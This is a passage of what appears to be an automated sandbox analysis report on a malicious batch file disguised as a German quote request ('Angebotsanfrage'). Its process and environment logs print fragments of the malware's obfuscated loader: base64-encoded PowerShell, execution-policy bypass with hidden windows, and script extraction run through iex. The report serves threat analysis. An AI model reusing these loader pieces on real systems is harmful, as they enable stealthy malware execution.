7ff928e00000 "wmic.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff939800000 "wmic.exe" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL" at base 7ff931a10000 "wmic.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff930100000 "wmic.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff93bbe0000 "wmic.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff93bbe0000 "wmic.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff92e460000 "wmic.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff92fbe00004b:Tb06,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\PROGID") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "wmic.exe" touched "Free Threaded XML DOM Document 6.0" (Path: "HKCU\CLSID\{88D96A06-F192-11D4-A65F-0040963251E5}\TREATAS") "wmic.exe" touched "Microsoft WBEM WMI Object Factory" (Path: "HKCU\CLSID\{8D1C559D-84F0-4BB3-A7D5-56A7435A9BA6}\TREATAS") "wmic.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "wmic.exe" touched "WbemQuery" (Path: "HKCU\CLSID\{EAC8A024-21E2-4523-AD73-A71A0AA2F56A}\TREATAS") "wmic.exe" touched "XSL Template 6.0" (Path: "HKCU\CLSID\{88D96A08-F192-11D4-A65F-0040963251E5}\TREATAS")4c:T4c3,Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00001272-00000BC0-1094155967] Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00006840-00000BC1-1099899454] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00006840-00000C47-13438819280] Observed system executable string:""%WINDIR%\system32\cmd.exe" /c "C:\Angebotsanfrage_11-Aug-2026.bat" 8ce0e0362e" [Source: 00000000-00006840-00000C47-13438819280] Observed system executable string:""%WINDIR%\System32\cmd.exe" /c "%TEMP%\frnxne3f.vzc\npm4ol10jde.cmd" 1dtoE2WDXh9" [Source: 00000000-00003236-00000C47-60318853954] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -nop -ep bypass -f "%PUBLIC%\28750q24813.ps1"" [Source: 00000000-00004252-00000C47-13858967810] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\nlyjs020\nlyj" [Source: 00000000-00002684-00000C47-18594693667], Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" [Source: 00000000-00002684-00000C47-20037239726]4d:T6ba9,Process "powershell.exe" (UID: 00000000-00006840) was launched with new environment variables: "┴▄┘╘╥╥╧╨="┘╔┬▐▄├▀╫╥╙╫▀▄┬╨", ╪▐┘┬╪╬╠├╔="JABxAD0AWwBjAGgAYQByAF0AMwA0ADsAJABhAD0AJwAvAGMAIAAnACsAJABxACsAJABlAG4AdgA6AF8AUgBnAFcAcwBCAHMAKwAkAHEAKwAnACAAOABjAGUAMABlADAAMwA2ADIAZQAnADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AEMAbwBtAFMAcABlAGMAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAEUATgA=", ╧╫╘┼▄═╪="~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#", ██▐╞╫╘╒╦╨="/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*iS_OygPtHWR~73FsKNdwxbc0U+Xl9iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", ┬▄╔╧╫="\cmd.exe", ╬┬╔╬╘╤="~1 1", ╥╟╙├├▐╧╠╔="/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*iS_OygPtHWR~73FsKNdwxbc0U+Xl9iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", ╤┘─╘┬═┴┼▐="power", ▌═▀▀┘╙="ell", █╥╥╠▌="Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#", _eXoUdj="srQIAMO2s", ▄╔╨╟▀="u~B.RDPTj/7wbEF-#3ZtNk*SdQnoOi?Gzg18lA_Lr0@I:J6mxeyHVU59qvcM+hWfaC4Tj/7wbEF-#3ZtNk*SdQnoOi?Gzg18lA_Lr0@I:J6mxeyHVU59qvcM+hWfaC4u~B.RDP", ╧┘┘┬┌="QtgOI?#.~/6VUD-qKkSb5fp3TYP8JN+mMjwyZh7zuXB:G4W9c*lCF@E_2R0dLaHsAxinvroE_2R0dLaHsAxinvroQtgOI?#.~/6VUD-qKkSb5fp3TYP8JN+mMjwyZh7zuXB:G4W9c*lCF@", ▄├╙═╦╬="~5 1~23 1", ╓└┬┌╟╙="iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", ▐╟┬├┬╥┬─="tem32", _K8RE="goa@ba6~DbM.x+Y-lVzS", ┴╔╦█╧╫="6897", ═╥╞├█╠╫="8ce0e", ╫╦╒┘█╦▌="f5cvwaj@6pJZi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyZi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyf5cvwaj@6pJ", _RgWsBs="C:\Angebotsanfrage_11-Aug-2026.bat", ╤╪┘▐└╚="uDGmvK5YcgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4", ▀╩┼┘┴╥╞┼="cgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4uDGmvK5YuDGmvK5YcgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4", ┼╓╒┬┘╪╞▐╞┴╔="~27 1w", ╓╬╘┬╙="I-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHShYznJFYznJFI-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHSh", ╦╨╬╦╞╚="Zi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyf5cvwaj@6pJ", █┴╫╥╒╤╟╥="hQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7AdxCvq1m4*D5~6a3bow#rEipePxCvq1m4*D5~6a3bow#rEipePhQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7Ad", ╧├╘╚╦╒╠="-e", ─╚╫═█┌╙╔="~1 1~28 1", ╔▀╬╥╫▄╧╩╥="sh", ▌═╚╦╫╟╩╔="iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", ╪╒╞╘▀╔╪╞="Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#", ╤╥═┬▀="iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", ▐┌┬╙╠▌╙┬="0bHr5Dq7?zm#TpB1L*/x8W~FyM2Ged_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", _hR7nokz="TT7rRSdZu2wq", ╒╪╚▀╟└╦="32", ┌╦╚▀╧┘▀┬="YznJFI-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHSh", ╔─┼┌╚└└╚="5", ─▐└╩╞="KZA/IPShzl6:y4X#?78EiCm90xG+~1tW@-H*j2gnDN3BkFbpd.ue_JwLcYsOqaMUo5RfrvTJwLcYsOqaMUo5RfrvTKZA/IPShzl6:y4X#?78EiCm90xG+~1tW@-H*j2gnDN3BkFbpd.ue_", ╞╦╘╫╒├╟="+oYX-7PwWh_1EGum~52BnNyCa.J@HUMK*kTf4IVijQA3tzZx9RSD/#0qdlc?rFLgvse6b:pOEGum~52BnNyCa.J@HUMK*kTf4IVijQA3tzZx9RSD/#0qdlc?rFLgvse6b:pO+oYX-7PwWh_1", ┘╩╞├╚╫╔="╠╨╪╨├▀╞╔╧╩▄█╨╥╓╙─╧┴┘╓█┌─╘▌╠╩▀╨┴┌", ═╫╫╩▐="lunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyf5cvwaj@6pJ", ╨└╦╦╠┴="43565", USERDNSDOMAIN="DESKTOP-FVVF82A", ▌╓╨█╫└┼▀="Sys", ├╫╟┴┴┼▌╦="0362e", ┴╠▄╠▄┴╟╓╩="8ce0e0362e", ═╔╥▌╠┴="21121502", ▌╓▐┼╧╔┬─="Ja@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", └╠└╞▀╙╨╚="_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", ▀╘╠╨┘╤█="71", ╠╚╞╬╦╘╫╨╔="831", ┴╚╒╙╧╘╬▄="-W hIDDEn -NoNI -noP", ╘█▄┴╘╚╚┌="%WINDIR%\System32\cmd.exe", ┼╚╬╧▄╘╒┴▌╪─="507", ▀▌╩╩╘▐═="317", ▀╟█╟┬╨┼┴╚╚┬="╪╦╫╨└┘┬╓╨╓╙╟┘", ▐─▀┘╪="-EP BYPaSS", ▐▌╙╓█╤="y45@c*HGp~ji9EUln7_Fzr#t/8Qa+k?BJqYKmdVLg3xbevT1Z:o2-PfCS0MuwhXD.OREUln7_Fzr#t/8Qa+k?BJqYKmdVLg3xbevT1Z:o2-PfCS0MuwhXD.ORy45@c*HGp~ji9", ▌╧╘═┘╒="ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", ▀▌╘╪╞╚╬="uDGmvK5YcgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4", ██╫└╓="powershell", ▄▀╤╦█▄="1650", ╘└▄╔╨┌╟▌▀─="~1 1", ╧┘█┬▄─┌╥╫╙="~14 1~6 1", ┌╨╧├╧╦╪="┌┼╟╞└═╪┘├▀╘▀╔╒╓╞▄▐", ┌╦┴├╬┌╨┌┬="G8", ╞█╫╔╞╞╩╔╞="xCvq1m4*D5~6a3bow#rEipePhQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7Ad", _xkn8YT="HvmVWs8c", ┬╚╬▌▌╫="0bHr5Dq7?zm#TpB1L*/x8W~FyM2Ged_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G"" Process "powershell.exe" (UID: 00000000-00006840) was launched with modified environment variables: "ProgramFiles, NUMBER_OF_PROCESSORS, PROCESSOR_ARCHITECTURE, CommonProgramFiles" Process "powershell.exe" (UID: 00000000-00006840) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "cmd.exe" (UID: 00000000-00007156) was launched with new environment variables: "PSExecutionPolicyPreference="Bypass"" Process "powershell.exe" (UID: 00000000-00003236) was launched with new environment variables: "╦┼╘╠┘="2898", ╒╘╠▐╒├╒┬="24623", ╤╔╘├├╤╪╚┼="JABzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOgBfAFIAZwBXAHMAQgBzACkAOwAkAG0AawA9ACQAZQBuAHYAOgBfAEsAOABSAEUAOwAkAGEAPQAkAG0AawAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsADEAMAApADsAJABpAD0AJABzAC4ASQBuAGQAZQB4AE8AZgAoACQAYQApADsAaQBmACgAJABpACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwAkAGMAPQAkAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQArADEAMAApADsAJABiAD0AJABtAGsALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEAMAApADsAJABqAD0AJABjAC4ASQBuAGQAZQB4AE8AZgAoACQAYgApADsAaQBmACgAJABqACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwBpAGUAeAAoACQAYwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACQAagApACkA"" Process "powershell.exe" (UID: 00000000-00003236) was launched with modified environment variables: "▄├╙═╦╬, ┼╓╒┬┘╪╞▐╞┴╔, ─╚╫═█┌╙╔, ╧┘█┬▄─┌╥╫╙" Process "powershell.exe" (UID: 00000000-00002148) was launched with new environment variables: "_vmT51="5303335", _vmT52="66", _w1="-w", _w3="-nop", _pkq="powershell.exe", _w2="1", _w5="bypass", _w4="-ep", _w6="-c", _nt1="28750", _nt2="24813", _EphemeralScript="%PUBLIC%\28750q24813.ps1", _scriptOrigin="%TEMP%\frnxne3f.vzc\npm4ol10jde.cmd", _s1="$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;", _s3="if($m -ge 0){$f::WriteAllText($env:_EphemeralScript,$s.Substring($m+(0x1C -shr 1)))}}", _s2="if($f::Exists($e)){$s=$f::ReadAllText($e);$p='::C'+'odeNot'+'ion::';$m=$s.IndexOf($p);", _psRun="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe"" Process "powershell.exe" (UID: 00000000-00002684) was launched with new environment variables: "_x2="1", _x1="-w", _x4="-ep", _x3="-nop", _x6="-f", _x5="bypass"" Process "csc.exe" (UID: 00000000-00007384) was launched with new environment variables: "-¦_¦_-¦+-="8ce0e0362e", -¦+-¦="KZA/IPShzl6:y4X#?78EiCm90xG+~1tW@-H*j2gnDN3BkFbpd.ue_JwLcYsOqaMUo5RfrvTJwLcYsOqaMUo5RfrvTKZA/IPShzl6:y4X#?78EiCm90xG+~1tW@-H*j2gnDN3BkFbpd.ue_", +--+--+="++¦¦+-+++¯+¯+++¦_¦", ++-+¦+="iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", comspec="%WINDIR%\system32\cmd.exe", ¦¦-+----="tem32", ¦-¯¯++="ell", -+¦-_-+-++="Y#", ¦¦++¦-="y45@c*HGp~ji9EUln7_Fzr#t/8Qa+k?BJqYKmdVLg3xbevT1Z:o2-PfCS0MuwhXD.OREUln7_Fzr#t/8Qa+k?BJqYKmdVLg3xbevT1Z:o2-PfCS0MuwhXD.ORy45@c*HGp~ji9", -++-+="QtgOI?#.~/6VUD-qKkSb5fp3TYP8JN+mMjwyZh7zuXB:G4W9c*lCF@E_2R0dLaHsAxinvroE_2R0dLaHsAxinvroQtgOI?#.~/6VUD-qKkSb5fp3TYP8JN+mMjwyZh7zuXB:G4W9c*lCF@", -++¦++="uDGmvK5YcgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4", ++¦+¯++¦="Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#", programfiles="C:\Program Files", +--+++-+-="G8", -++++-+++="JABzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOgBfAFIAZwBXAHMAQgBzACkAOwAkAG0AawA9ACQAZQBuAHYAOgBfAEsAOABSAEUAOwAkAGEAPQAkAG0AawAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsADEAMAApADsAJABpAD0AJABzAC4ASQBuAGQAZQB4AE8AZgAoACQAYQApADsAaQBmACgAJABpACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwAkAGMAPQAkAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQArADEAMAApADsAJABiAD0AJABtAGsALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEAMAApADsAJABqAD0AJABjAC4ASQBuAGQAZQB4AE8AZgAoACQAYgApADsAaQBmACgAJABqACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwBpAGUAeAAoACQAYwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACQAagApACkA", _vmt51="5303335", _vmt52="66", ¦¦++¦¦-+¦="xCvq1m4*D5~6a3bow#rEipePhQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7Ad", _hr7nokz="TT7rRSdZu2wq", logonserver="%HOSTNAME%", ++_+-+¦¦¯-="~1 1", ¦-+-+¦-+="iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", +-++¦-¦="f5cvwaj@6pJZi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyZi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyf5cvwaj@6pJ", _ephemeralscript="%PUBLIC%\28750q24813.ps1", programdata="C:\ProgramData", ¦+¦+-+--="Ja@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", +++¯¦+-="32", systemdrive="C:", -++-¦+++="be", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", homepath="\Users\%OSUSER%", sessionname="Console", +++-_++-¦+-="507", _++--+="uZ", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", ¯¦++¦++="uDGmvK5YcgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4", userdnsdomain="DESKTOP-FVVF82A", -++¦¦+="0bHr5Dq7?zm#TpB1L*/x8W~FyM2Ged_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", -+++-+¦="-e", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", +-+++-="~1 1", _scriptorigin="%TEMP%\frnxne3f.vzc\npm4ol10jde.cmd", _psrun="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", _rgwsbs="C:\Angebotsanfrage_11-Aug-2026.bat", ¦-+-++="ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", +-¦++++="¦-+-+¯¦+--_¦--++---++¦+-+¦¦-¯--+", ¦-+-+-¦-="hQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7AdxCvq1m4*D5~6a3bow#rEipePxCvq1m4*D5~6a3bow#rEipePhQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7Ad", _xkn8yt="HvmVWs8c", prompt="$P$G", username="%OSUSER%", +¦+¦¯+-+="_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", computername="DESKTOP-FVVF82A", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", tmp="%LOCALAPPDATA%\Temp", ++¦¦+++-="24623", ¯-++--¦+="cgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4uDGmvK5YuDGmvK5YcgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4", --¦+¦¦+="8ce0e", +-++++++="5", -¦+++¦-¦+="/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*iS_OygPtHWR~73FsKNdwxbc0U+Xl9iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", +-+¯-+¯-="YznJFI-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHSh", -+++-++_="-W hIDDEn -NoNI -noP", sslkeylogfile="%TEMP%\sslkey.txt", userprofile="C:\Users\%OSUSER%", -_++----="++-¦_+¯+-++¯_--", -+-¦-+="6897", processor_level="6", userdomain_roamingprofile="DESKTOP-FVVF82A", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ¦--¦¦="Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#", processor_architecture="AMD64", nvm_symlink="%PROGRAMFILES%\nodejs", ¦¦¦¦+++--="/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*iS_OygPtHWR~73FsKNdwxbc0U+Xl9iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", -_+-+="\cmd.exe", ¦+-+¦¦+-="0bHr5Dq7?zm#TpB1L*/x8W~FyM2Ged_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", ¦¦+++="powershell", nvm_home="%APPDATA%\nvm", ¦-++++¦="+oYX-7PwWh_1EGum~52BnNyCa.J@HUMK*kTf4IVijQA3tzZx9RSD/#0qdlc?rFLgvse6b:pOEGum~52BnNyCa.J@HUMK*kTf4IVijQA3tzZx9RSD/#0qdlc?rFLgvse6b:pO+oYX-7PwWh_1", onedrive="%USERPROFILE%\OneDrive", -+-¦¦-="21121502", programw6432="C:\Program Files", psexecutionpolicypreference="Bypass", ¦-¯++="-EP BYPaSS", _k8re="goa@ba6~DbM.x+Y-lVzS", processor_revision="4f00", _¯--¦_="1650", +¯+-+_---="sh", --+-¦+="Zi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyf5cvwaj@6pJ", +¦+-++¦++="JABxAD0AWwBjAGgAYQByAF0AMwA0ADsAJABhAD0AJwAvAGMAIAAnACsAJABxACsAJABlAG4AdgA6AF8AUgBnAFcAcwBCAHMAKwAkAHEAKwAnACAAOABjAGUAMABlADAAMwA2ADIAZQAnADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AEMAbwBtAFMAcABlAGMAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAEUATgA=", localappdata="%USERPROFILE%\AppData\Local", _exoudj="srQIAMO2s", -++-¦="lunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyf5cvwaj@6pJ", ¯¦--+¦-="317", number_of_processors="8", -+-+---+¦="power", -+++_-+="~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#", -+--¦-="43565", _+-¦¯="u~B.RDPTj/7wbEF-#3ZtNk*SdQnoOi?Gzg18lA_Lr0@I:J6mxeyHVU59qvcM+hWfaC4Tj/7wbEF-#3ZtNk*SdQnoOi?Gzg18lA_Lr0@I:J6mxeyHVU59qvcM+hWfaC4u~B.RDP", ¦+¦+-++-+="831", systemroot="C:\WINDOWS", +¦_-++++="%WINDIR%\System32\cmd.exe", userdomain="DESKTOP-FVVF82A", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", ¦+-¦+++¯="Sys", public="C:\Users\Public", ¯¦¦¦--+-++-="+-+-++-+-++¦+", +++-+="I-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHShYznJFYznJFI-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHSh", -++¦+="2898", ++¦--+¦-="0362e", ----¯="iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", +++-++¦¦¦-+="Vw", ¯+¦-+-¦="71", _clrrestrictsecattributes="1", appdata="%USERPROFILE%\AppData\Roaming"" Process "csc.exe" (UID: 00000000-00007384) was launched with missing environment variables: "NVM_SYMLINK, ╪▐┘┬╪╬╠├╔, 